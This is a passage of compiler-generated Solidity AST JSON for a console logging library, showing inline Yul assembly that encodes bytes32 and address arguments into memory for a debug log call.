rguments":[{"kind":"number","nativeSrc":"320289:4:22","nodeType":"YulLiteral","src":"320289:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"320295:4:22","nodeType":"YulLiteral","src":"320295:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"320282:6:22","nodeType":"YulIdentifier","src":"320282:6:22"},"nativeSrc":"320282:18:22","nodeType":"YulFunctionCall","src":"320282:18:22"},"nativeSrc":"320282:18:22","nodeType":"YulExpressionStatement","src":"320282:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320320:4:22","nodeType":"YulLiteral","src":"320320:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"320326:2:22","nodeType":"YulIdentifier","src":"320326:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320313:6:22","nodeType":"YulIdentifier","src":"320313:6:22"},"nativeSrc":"320313:16:22","nodeType":"YulFunctionCall","src":"320313:16:22"},"nativeSrc":"320313:16:22","nodeType":"YulExpressionStatement","src":"320313:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320349:4:22","nodeType":"YulLiteral","src":"320349:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"320355:4:22","nodeType":"YulLiteral","src":"320355:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"320342:6:22","nodeType":"YulIdentifier","src":"320342:6:22"},"nativeSrc":"320342:18:22","nodeType":"YulFunctionCall","src":"320342:18:22"},"nativeSrc":"320342:18:22","nodeType":"YulExpressionStatement","src":"320342:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320380:4:22","nodeType":"YulLiteral","src":"320380:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"320386:2:22","nodeType":"YulIdentifier","src":"320386:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320373:6:22","nodeType":"YulIdentifier","src":"320373:6:22"},"nativeSrc":"320373:16:22","nodeType":"YulFunctionCall","src":"320373:16:22"},"nativeSrc":"320373:16:22","nodeType":"YulExpressionStatement","src":"320373:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320414:4:22","nodeType":"YulLiteral","src":"320414:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"320420:2:22","nodeType":"YulIdentifier","src":"320420:2:22"}],"functionName":{"name":"writeString","nativeSrc":"320402:11:22","nodeType":"YulIdentifier","src":"320402:11:22"},"nativeSrc":"320402:21:22","nodeType":"YulFunctionCall","src":"320402:21:22"},"nativeSrc":"320402:21:22","nodeType":"YulExpressionStatement","src":"320402:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320448:4:22","nodeType":"YulLiteral","src":"320448:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"320454:2:22","nodeType":"YulIdentifier","src":"320454:2:22"}],"functionName":{"name":"writeString","nativeSrc":"320436:11:22","nodeType":"YulIdentifier","src":"320436:11:22"},"nativeSrc":"320436:21:22","nodeType":"YulFunctionCall","src":"320436:21:22"},"nativeSrc":"320436:21:22","nodeType":"YulExpressionStatement","src":"320436:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44248,"isOffset":false,"isSlot":false,"src":"319909:2:22","valueSize":1},{"declaration":44251,"isOffset":false,"isSlot":false,"src":"319939:2:22","valueSize":1},{"declaration":44254,"isOffset":false,"isSlot":false,"src":"319969:2:22","valueSize":1},{"declaration":44257,"isOffset":false,"isSlot":false,"src":"319999:2:22","valueSize":1},{"declaration":44260,"isOffset":false,"isSlot":false,"src":"320029:2:22","valueSize":1},{"declaration":44263,"isOffset":false,"isSlot":false,"src":"320059:2:22","valueSize":1},{"declaration":44266,"isOffset":false,"isSlot":false,"src":"320089:2:22","valueSize":1},{"declaration":44269,"isOffset":false,"isSlot":false,"src":"320119:2:22","valueSize":1},{"declaration":44272,"isOffset":false,"isSlot":false,"src":"320149:2:22","valueSize":1},{"declaration":44238,"isOffset":false,"isSlot":false,"src":"320420:2:22","valueSize":1},{"declaration":44240,"isOffset":false,"isSlot":false,"src":"320326:2:22","valueSize":1},{"declaration":44242,"isOffset":false,"isSlot":false,"src":"320454:2:22","valueSize":1},{"declaration":44244,"isOffset":false,"isSlot":false,"src":"320386:2:22","valueSize":1}],"id":44274,"nodeType":"InlineAssembly","src":"319531:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44276,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"320492:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44277,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"320498:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44275,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"320476:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44278,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"320476:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44279,"nodeType":"ExpressionStatement","src":"320476:28:22"},{"AST":{"nativeSrc":"320523:273:22","nodeType":"YulBlock","src":"320523:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"320544:4:22","nodeType":"YulLiteral","src":"320544:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"320550:2:22","nodeType":"YulIdentifier","src":"320550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320537:6:22","nodeType":"YulIdentifier","src":"320537:6:22"},"nativeSrc":"320537:16:22","nodeType":"YulFunctionCall","src":"320537:16:22"},"nativeSrc":"320537:16:22","nodeType":"YulExpressionStatement","src":"320537:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320573:4:22","nodeType":"YulLiteral","src":"320573:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"320579:2:22","nodeType":"YulIdentifier","src":"320579:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320566:6:22","nodeType":"YulIdentifier","src":"320566:6:22"},"nativeSrc":"320566:16:22","nodeType":"YulFunctionCall","src":"320566:16:22"},"nativeSrc":"320566:16:22","nodeType":"YulExpressionStatement","src":"320566:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320602:4:22","nodeType":"YulLiteral","src":"320602:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"320608:2:22","nodeType":"YulIdentifier","src":"320608:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320595:6:22","nodeType":"YulIdentifier","src":"320595:6:22"},"nativeSrc":"320595:16:22","nodeType":"YulFunctionCall","src":"320595:16:22"},"nativeSrc":"320595:16:22","nodeType":"YulExpressionStatement","src":"320595:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320631:4:22","nodeType":"YulLiteral","src":"320631:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"320637:2:22","nodeType":"YulIdentifier","src":"320637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320624:6:22","nodeType":"YulIdentifier","src":"320624:6:22"},"nativeSrc":"320624:16:22","nodeType":"YulFunctionCall","src":"320624:16:22"},"nativeSrc":"320624:16:22","nodeType":"YulExpressionStatement","src":"320624:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320660:4:22","nodeType":"YulLiteral","src":"320660:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"320666:2:22","nodeType":"YulIdentifier","src":"320666:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320653:6:22","nodeType":"YulIdentifier","src":"320653:6:22"},"nativeSrc":"320653:16:22","nodeType":"YulFunctionCall","src":"320653:16:22"},"nativeSrc":"320653:16:22","nodeType":"YulExpressionStatement","src":"320653:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320689:4:22","nodeType":"YulLiteral","src":"320689:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"320695:2:22","nodeType":"YulIdentifier","src":"320695:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320682:6:22","nodeType":"YulIdentifier","src":"320682:6:22"},"nativeSrc":"320682:16:22","nodeType":"YulFunctionCall","src":"320682:16:22"},"nativeSrc":"320682:16:22","nodeType":"YulExpressionStatement","src":"320682:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320718:4:22","nodeType":"YulLiteral","src":"320718:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"320724:2:22","nodeType":"YulIdentifier","src":"320724:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320711:6:22","nodeType":"YulIdentifier","src":"320711:6:22"},"nativeSrc":"320711:16:22","nodeType":"YulFunctionCall","src":"320711:16:22"},"nativeSrc":"320711:16:22","nodeType":"YulExpressionStatement","src":"320711:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320747:4:22","nodeType":"YulLiteral","src":"320747:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"320753:2:22","nodeType":"YulIdentifier","src":"320753:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320740:6:22","nodeType":"YulIdentifier","src":"320740:6:22"},"nativeSrc":"320740:16:22","nodeType":"YulFunctionCall","src":"320740:16:22"},"nativeSrc":"320740:16:22","nodeType":"YulExpressionStatement","src":"320740:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320776:5:22","nodeType":"YulLiteral","src":"320776:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"320783:2:22","nodeType":"YulIdentifier","src":"320783:2:22"}],"functionName":{"name":"mstore","nativeSrc":"320769:6:22","nodeType":"YulIdentifier","src":"320769:6:22"},"nativeSrc":"320769:17:22","nodeType":"YulFunctionCall","src":"320769:17:22"},"nativeSrc":"320769:17:22","nodeType":"YulExpressionStatement","src":"320769:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44248,"isOffset":false,"isSlot":false,"src":"320550:2:22","valueSize":1},{"declaration":44251,"isOffset":false,"isSlot":false,"src":"320579:2:22","valueSize":1},{"declaration":44254,"isOffset":false,"isSlot":false,"src":"320608:2:22","valueSize":1},{"declaration":44257,"isOffset":false,"isSlot":false,"src":"320637:2:22","valueSize":1},{"declaration":44260,"isOffset":false,"isSlot":false,"src":"320666:2:22","valueSize":1},{"declaration":44263,"isOffset":false,"isSlot":false,"src":"320695:2:22","valueSize":1},{"declaration":44266,"isOffset":false,"isSlot":false,"src":"320724:2:22","valueSize":1},{"declaration":44269,"isOffset":false,"isSlot":false,"src":"320753:2:22","valueSize":1},{"declaration":44272,"isOffset":false,"isSlot":false,"src":"320783:2:22","valueSize":1}],"id":44280,"nodeType":"InlineAssembly","src":"320514:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"319275:3:22","parameters":{"id":44245,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44238,"mutability":"mutable","name":"p0","nameLocation":"319287:2:22","nodeType":"VariableDeclaration","scope":44282,"src":"319279:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44237,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319279:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44240,"mutability":"mutable","name":"p1","nameLocation":"319299:2:22","nodeType":"VariableDeclaration","scope":44282,"src":"319291:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44239,"name":"address","nodeType":"ElementaryTypeName","src":"319291:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44242,"mutability":"mutable","name":"p2","nameLocation":"319311:2:22","nodeType":"VariableDeclaration","scope":44282,"src":"319303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44241,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44244,"mutability":"mutable","name":"p3","nameLocation":"319323:2:22","nodeType":"VariableDeclaration","scope":44282,"src":"319315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44243,"name":"address","nodeType":"ElementaryTypeName","src":"319315:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"319278:48:22"},"returnParameters":{"id":44246,"nodeType":"ParameterList","parameters":[],"src":"319341:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44328,"nodeType":"FunctionDefinition","src":"320808:1530:22","nodes":[],"body":{"id":44327,"nodeType":"Block","src":"320880:1458:22","nodes":[],"statements":[{"assignments":[44294],"declarations":[{"constant":false,"id":44294,"mutability":"mutable","name":"m0","nameLocation":"320898:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"320890:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44293,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320890:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44295,"nodeType":"VariableDeclarationStatement","src":"320890:10:22"},{"assignments":[44297],"declarations":[{"constant":false,"id":44297,"mutability":"mutable","name":"m1","nameLocation":"320918:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"320910:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44296,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320910:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44298,"nodeType":"VariableDeclarationStatement","src":"320910:10:22"},{"assignments":[44300],"declarations":[{"constant":false,"id":44300,"mutability":"mutable","name":"m2","nameLocation":"320938:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"320930:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44299,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320930:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44301,"nodeType":"VariableDeclarationStatement","src":"320930:10:22"},{"assignments":[44303],"declarations":[{"constant":false,"id":44303,"mutability":"mutable","name":"m3","nameLocation":"320958:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"320950:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44302,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320950:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44304,"nodeType":"VariableDeclarationStatement","src":"320950:10:22"},{"assignments":[44306],"declarations":[{"constant":false,"id":44306,"mutability":"mutable","name":"m4","nameLocation":"320978:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"320970:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44305,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320970:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44307,"nodeType":"VariableDeclarationStatement","src":"320970:10:22"},{"assignments":[44309],"declarations":[{"constant":false,"id":44309,"mutability":"mutable","name":"m5","nameLocation":"320998:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"320990:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44308,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320990:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44310,"nodeType":"VariableDeclarationStatement","src":"320990:10:22"},{"assignments":[44312],"declarations":[{"constant":false,"id":44312,"mutability":"mutable","name":"m6","nameLocation":"321018:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"321010:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44311,"name":"bytes32","nodeType":"ElementaryTypeName","src":"321010:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44313,"nodeType":"VariableDeclarationStatement","src":"321010:10:22"},{"assignments":[44315],"declarations":[{"constant":false,"id":44315,"mutability":"mutable","name":"m7","nameLocation":"321038:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"321030:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44314,"name":"bytes32","nodeType":"ElementaryTypeName","src":"321030:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44316,"nodeType":"VariableDeclarationStatement","src":"321030:10:22"},{"assignments":[44318],"declarations":[{"constant":false,"id":44318,"mutability":"mutable","name":"m8","nameLocation":"321058:2:22","nodeType":"VariableDeclaration","scope":44327,"src":"321050:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44317,"name":"bytes32","nodeType":"ElementaryTypeName","src":"321050:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44319,"nodeType":"VariableDeclarationStatement","src":"321050:10:22"},{"AST":{"nativeSrc":"321079:924:22","nodeType":"YulBlock","src":"321079:924:22","statements":[{"body":{"nativeSrc":"321122:313:22","nodeType":"YulBlock","src":"321122:313:22","statements":[{"nativeSrc":"321140:15:22","nodeType":"YulVariableDeclaration","src":"321140:15:22","value":{"kind":"number","nativeSrc":"321154:1:22","nodeType":"YulLiteral","src":"321154:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"321144:6:22","nodeType":"YulTypedName","src":"321144:6:22","type":""}]},{"body":{"nativeSrc":"321225:40:22","nodeType":"YulBlock","src":"321225:40:22","statements":[{"body":{"nativeSrc":"321254:9:22","nodeType":"YulBlock","src":"321254:9:22","statements":[{"nativeSrc":"321256:5:22","nodeType":"YulBreak","src":"321256:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"321242:6:22","nodeType":"YulIdentifier","src":"321242:6:22"},{"name":"w","nativeSrc":"321250:1:22","nodeType":"YulIdentifier","src":"321250:1:22"}],"functionName":{"name":"byte","nativeSrc":"321237:4:22","nodeType":"YulIdentifier","src":"321237:4:22"},"nativeSrc":"321237:15:22","nodeType":"YulFunctionCall","src":"321237:15:22"}],"functionName":{"name":"iszero","nativeSrc":"321230:6:22","nodeType":"YulIdentifier","src":"321230:6:22"},"nativeSrc":"321230:23:22","nodeType":"YulFunctionCall","src":"321230:23:22"},"nativeSrc":"321227:36:22","nodeType":"YulIf","src":"321227:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"321182:6:22","nodeType":"YulIdentifier","src":"321182:6:22"},{"kind":"number","nativeSrc":"321190:4:22","nodeType":"YulLiteral","src":"321190:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"321179:2:22","nodeType":"YulIdentifier","src":"321179:2:22"},"nativeSrc":"321179:16:22","nodeType":"YulFunctionCall","src":"321179:16:22"},"nativeSrc":"321172:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"321196:28:22","nodeType":"YulBlock","src":"321196:28:22","statements":[{"nativeSrc":"321198:24:22","nodeType":"YulAssignment","src":"321198:24:22","value":{"arguments":[{"name":"length","nativeSrc":"321212:6:22","nodeType":"YulIdentifier","src":"321212:6:22"},{"kind":"number","nativeSrc":"321220:1:22","nodeType":"YulLiteral","src":"321220:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"321208:3:22","nodeType":"YulIdentifier","src":"321208:3:22"},"nativeSrc":"321208:14:22","nodeType":"YulFunctionCall","src":"321208:14:22"},"variableNames":[{"name":"length","nativeSrc":"321198:6:22","nodeType":"YulIdentifier","src":"321198:6:22"}]}]},"pre":{"nativeSrc":"321176:2:22","nodeType":"YulBlock","src":"321176:2:22","statements":[]},"src":"321172:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"321289:3:22","nodeType":"YulIdentifier","src":"321289:3:22"},{"name":"length","nativeSrc":"321294:6:22","nodeType":"YulIdentifier","src":"321294:6:22"}],"functionName":{"name":"mstore","nativeSrc":"321282:6:22","nodeType":"YulIdentifier","src":"321282:6:22"},"nativeSrc":"321282:19:22","nodeType":"YulFunctionCall","src":"321282:19:22"},"nativeSrc":"321282:19:22","nodeType":"YulExpressionStatement","src":"321282:19:22"},{"nativeSrc":"321318:37:22","nodeType":"YulVariableDeclaration","src":"321318:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"321335:3:22","nodeType":"YulLiteral","src":"321335:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"321344:1:22","nodeType":"YulLiteral","src":"321344:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"321347:6:22","nodeType":"YulIdentifier","src":"321347:6:22"}],"functionName":{"name":"shl","nativeSrc":"321340:3:22","nodeType":"YulIdentifier","src":"321340:3:22"},"nativeSrc":"321340:14:22","nodeType":"YulFunctionCall","src":"321340:14:22"}],"functionName":{"name":"sub","nativeSrc":"321331:3:22","nodeType":"YulIdentifier","src":"321331:3:22"},"nativeSrc":"321331:24:22","nodeType":"YulFunctionCall","src":"321331:24:22"},"variables":[{"name":"shift","nativeSrc":"321322:5:22","nodeType":"YulTypedName","src":"321322:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"321383:3:22","nodeType":"YulIdentifier","src":"321383:3:22"},{"kind":"number","nativeSrc":"321388:4:22","nodeType":"YulLiteral","src":"321388:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"321379:3:22","nodeType":"YulIdentifier","src":"321379:3:22"},"nativeSrc":"321379:14:22","nodeType":"YulFunctionCall","src":"321379:14:22"},{"arguments":[{"name":"shift","nativeSrc":"321399:5:22","nodeType":"YulIdentifier","src":"321399:5:22"},{"arguments":[{"name":"shift","nativeSrc":"321410:5:22","nodeType":"YulIdentifier","src":"321410:5:22"},{"name":"w","nativeSrc":"321417:1:22","nodeType":"YulIdentifier","src":"321417:1:22"}],"functionName":{"name":"shr","nativeSrc":"321406:3:22","nodeType":"YulIdentifier","src":"321406:3:22"},"nativeSrc":"321406:13:22","nodeType":"YulFunctionCall","src":"321406:13:22"}],"functionName":{"name":"shl","nativeSrc":"321395:3:22","nodeType":"YulIdentifier","src":"321395:3:22"},"nativeSrc":"321395:25:22","nodeType":"YulFunctionCall","src":"321395:25:22"}],"functionName":{"name":"mstore","nativeSrc":"321372:6:22","nodeType":"YulIdentifier","src":"321372:6:22"},"nativeSrc":"321372:49:22","nodeType":"YulFunctionCall","src":"321372:49:22"},"nativeSrc":"321372:49:22","nodeType":"YulExpressionStatement","src":"321372:49:22"}]},"name":"writeString","nativeSrc":"321093:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"321114:3:22","nodeType":"YulTypedName","src":"321114:3:22","type":""},{"name":"w","nativeSrc":"321119:1:22","nodeType":"YulTypedName","src":"321119:1:22","type":""}],"src":"321093:342:22"},{"nativeSrc":"321448:17:22","nodeType":"YulAssignment","src":"321448:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321460:4:22","nodeType":"YulLiteral","src":"321460:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"321454:5:22","nodeType":"YulIdentifier","src":"321454:5:22"},"nativeSrc":"321454:11:22","nodeType":"YulFunctionCall","src":"321454:11:22"},"variableNames":[{"name":"m0","nativeSrc":"321448:2:22","nodeType":"YulIdentifier","src":"321448:2:22"}]},{"nativeSrc":"321478:17:22","nodeType":"YulAssignment","src":"321478:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321490:4:22","nodeType":"YulLiteral","src":"321490:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"321484:5:22","nodeType":"YulIdentifier","src":"321484:5:22"},"nativeSrc":"321484:11:22","nodeType":"YulFunctionCall","src":"321484:11:22"},"variableNames":[{"name":"m1","nativeSrc":"321478:2:22","nodeType":"YulIdentifier","src":"321478:2:22"}]},{"nativeSrc":"321508:17:22","nodeType":"YulAssignment","src":"321508:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321520:4:22","nodeType":"YulLiteral","src":"321520:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"321514:5:22","nodeType":"YulIdentifier","src":"321514:5:22"},"nativeSrc":"321514:11:22","nodeType":"YulFunctionCall","src":"321514:11:22"},"variableNames":[{"name":"m2","nativeSrc":"321508:2:22","nodeType":"YulIdentifier","src":"321508:2:22"}]},{"nativeSrc":"321538:17:22","nodeType":"YulAssignment","src":"321538:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321550:4:22","nodeType":"YulLiteral","src":"321550:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"321544:5:22","nodeType":"YulIdentifier","src":"321544:5:22"},"nativeSrc":"321544:11:22","nodeType":"YulFunctionCall","src":"321544:11:22"},"variableNames":[{"name":"m3","nativeSrc":"321538:2:22","nodeType":"YulIdentifier","src":"321538:2:22"}]},{"nativeSrc":"321568:17:22","nodeType":"YulAssignment","src":"321568:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321580:4:22","nodeType":"YulLiteral","src":"321580:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"321574:5:22","nodeType":"YulIdentifier","src":"321574:5:22"},"nativeSrc":"321574:11:22","nodeType":"YulFunctionCall","src":"321574:11:22"},"variableNames":[{"name":"m4","nativeSrc":"321568:2:22","nodeType":"YulIdentifier","src":"321568:2:22"}]},{"nativeSrc":"321598:17:22","nodeType":"YulAssignment","src":"321598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321610:4:22","nodeType":"YulLiteral","src":"321610:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"321604:5:22","nodeType":"YulIdentifier","src":"321604:5:22"},"nativeSrc":"321604:11:22","nodeType":"YulFunctionCall","src":"321604:11:22"},"variableNames":[{"name":"m5","nativeSrc":"321598:2:22","nodeType":"YulIdentifier","src":"321598:2:22"}]},{"nativeSrc":"321628:17:22","nodeType":"YulAssignment","src":"321628:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321640:4:22","nodeType":"YulLiteral","src":"321640:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"321634:5:22","nodeType":"YulIdentifier","src":"321634:5:22"},"nativeSrc":"321634:11:22","nodeType":"YulFunctionCall","src":"321634:11:22"},"variableNames":[{"name":"m6","nativeSrc":"321628:2:22","nodeType":"YulIdentifier","src":"321628:2:22"}]},{"nativeSrc":"321658:17:22","nodeType":"YulAssignment","src":"321658:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"321670:4:22","nodeType":"YulLiteral","src":"321670:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"321664:5:22","nodeType":"YulIdentifier","src":"321664:5:22"},"nativeSrc":"321664:11:22","nodeType":"YulFunctionCall","src":"321664:11:22"},"variableNames":[{"name":"m7","nativeSrc":"321658:2:22","nodeType":"YulIdentifier","src":"321658:2:22"}]},{"nativeSrc":"321688:18:22","nodeType":"YulAssignment","src":"321688:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"321700:5:22","nodeType":"YulLiteral","src":"321700:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"321694:5:22","nodeType":"YulIdentifier","src":"321694:5:22"},"nativeSrc":"321694:12:22","nodeType":"YulFunctionCall","src":"321694:12:22"},"variableNames":[{"name":"m8","nativeSrc":"321688:2:22","nodeType":"YulIdentifier","src":"321688:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321788:4:22","nodeType":"YulLiteral","src":"321788:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"321794:10:22","nodeType":"YulLiteral","src":"321794:10:22","type":"","value":"0x5f15d28c"}],"functionName":{"name":"mstore","nativeSrc":"321781:6:22","nodeType":"YulIdentifier","src":"321781:6:22"},"nativeSrc":"321781:24:22","nodeType":"YulFunctionCall","src":"321781:24:22"},"nativeSrc":"321781:24:22","nodeType":"YulExpressionStatement","src":"321781:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321825:4:22","nodeType":"YulLiteral","src":"321825:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"321831:4:22","nodeType":"YulLiteral","src":"321831:4:22","type":"",